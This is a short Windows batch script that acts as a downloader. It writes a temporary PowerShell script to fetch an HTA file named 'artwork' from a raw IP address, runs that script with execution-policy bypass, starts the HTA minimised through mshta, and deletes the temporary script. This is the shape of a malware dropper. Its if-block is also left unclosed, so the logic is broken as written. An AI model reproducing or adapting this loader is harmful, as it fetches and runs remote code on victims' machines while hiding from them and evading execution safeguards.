@echo off
setlocal
set "URL=http://91.207.183.9:8000/artwork.hta"
set "DownloadPath=%TEMP%\artwork.hta"
set "PowerShellScript=%TEMP%\download.ps1"
:: Create a temporary PowerShell script for downloading
echo (New-Object System.Net.WebClient).DownloadFile('%URL%', '%DownloadPath%') > %PowerShellScript%
:: Download the HTA file using hidden PowerShell
powershell -ExecutionPolicy Bypass -File %PowerShellScript%
:: Check if the download was successful
if not exist %DownloadPath% (
echo Download failed.
pause
exit /b
:: Execute the downloaded HTA file using mshta in hidden mode
start /min mshta %DownloadPath%
:: Clean up the temporary PowerShell script
del %PowerShellScript%
:: End of batch file